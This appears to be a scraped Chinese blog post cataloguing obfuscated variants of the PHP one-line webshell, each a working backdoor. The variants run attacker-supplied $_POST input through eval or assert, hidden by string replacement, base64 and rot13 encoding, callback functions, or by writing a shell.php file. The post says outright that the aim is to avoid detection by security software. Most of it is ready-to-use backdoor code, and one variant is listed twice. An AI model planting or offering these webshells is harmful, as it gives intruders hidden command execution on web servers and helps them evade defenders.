zoukankan      html  css  js  c++  java
  • PHP一句话木马变形研究

    一句话木马变形

    介绍:网站后门,也可以叫做WebShell,黑客在入侵了一个网站后,通常会将一些asp或php文档与网 站服务器WEB目录下正常的网页文档混在一起,使得可以通过使用浏览器来访问这些asp或者php 文档,从而得到一个命令执行环境,最终达到控制网站服务器的目的(可以上传下载文档,查看 数据库,执行任意进程命令等)。这样的文档叫做后门。

    下面整理了一下当前最常见的PHP后门:
    最流行的一种后门叫做一句话木马,例如:

    原理:

    1.在PHP脚本语言中,eval或者assert(code)的功能是将code组合成php命令,然后将命令执行。
    2.<?php $a=”phpinfo()”; eval(“echo $a; “);?>就相当于执行 echo phpinfo();语句。

    优点:短小精悍,功能强大。
    缺点:容易被安全软件检测出来。

    为了增强隐蔽性,减小被检测的出来的概率,出现了各种一句话木马的变形。
    下面是我做的几种测试,当然一句话的变形并不局限于以下,我们也可以传入文档,在用动态写入语句,在同级目录下创建一句话后门,比如:<?php fputs(fopen(“shell.php”,”w”),”<?php eval($_POST[‘cmd’]);?>”)?>

    变形一

    <?php  
      $a=str_replace("x", "", "axsxxxxsxexrt");
      $a($_POST["cmd"]);
    ?>
    

    变形二

    <?php  
     $fun=create_function('',$_POST['a']);
    $fun();
    ?>
    

    变形三

    <?php  
     @call_user_func(assert,$_POST['a']);
    ?>
    

    变形四

    <?php  
     @$test='<?php $a=$_POST["cmd"];assert($a); ?>';
     file_put_contents("shell.php", $test);
    ?>
    

    变形四

    <?php  
     @call_user_func(assert,$_POST['a']);
    ?>
    

    变形五

    <?php  
     $a = "assert";
     $a(@$_POST['a']); 
    ?>
    

    变形六

    <?php  
    <?php  
    $__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
    $__P_P="abcdefghijklmnopqrstuvwxyz";
    $__X_X="123456789";
    $__O_O=$__X_X[5].$__X_X[3]."_";
    $__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];
    $__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];
    $__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];
    $__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];
    $__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13];
    $_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");');
    @$_[00]($__H_H($__H_H($__C_C)));
    ?>
    //解码后即==> eval($_POST[x]);
    ?>
    

    变形七

    <?php  
     $a=str_replace("Waldo", "", "aWaldossert");
     $a(@$_POST['a']);
    ?>
    

    变形八

    <?php  
     $_=base64_decode("YXNzZXJ0");
     $_(str_rot13('riny($_CBFG[cntr]);'))
    ?>
    

    变形九

    <?php  
    $a="a"."s"."s";
    $b="e"."r"."t";
    $c=$a.$b;
    $c($_POST['a'])
    ?>
    

    变形十

    <?php  
    $str="a=assert";
    parse_str($str);
    //$a=eval
    $a($_POST['a']);
    ?>
    

    变形十一

    <?php  
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'],);
    array_filter($arr, $e);
    ?>
    
  • 相关阅读:
    js刷新
    getHibernateTemplate()为NUll
    struts2+hibernate+spring+jquery返回json List列表
    windowopen
    web配置详解
    缓存
    uuid-不好之处
    多对多转化一对多
    多对多拆成两个 多对一
    我的github地址账号和密码
  • 原文地址:https://www.cnblogs.com/wlor/p/14821954.html
Copyright © 2011-2022 走看看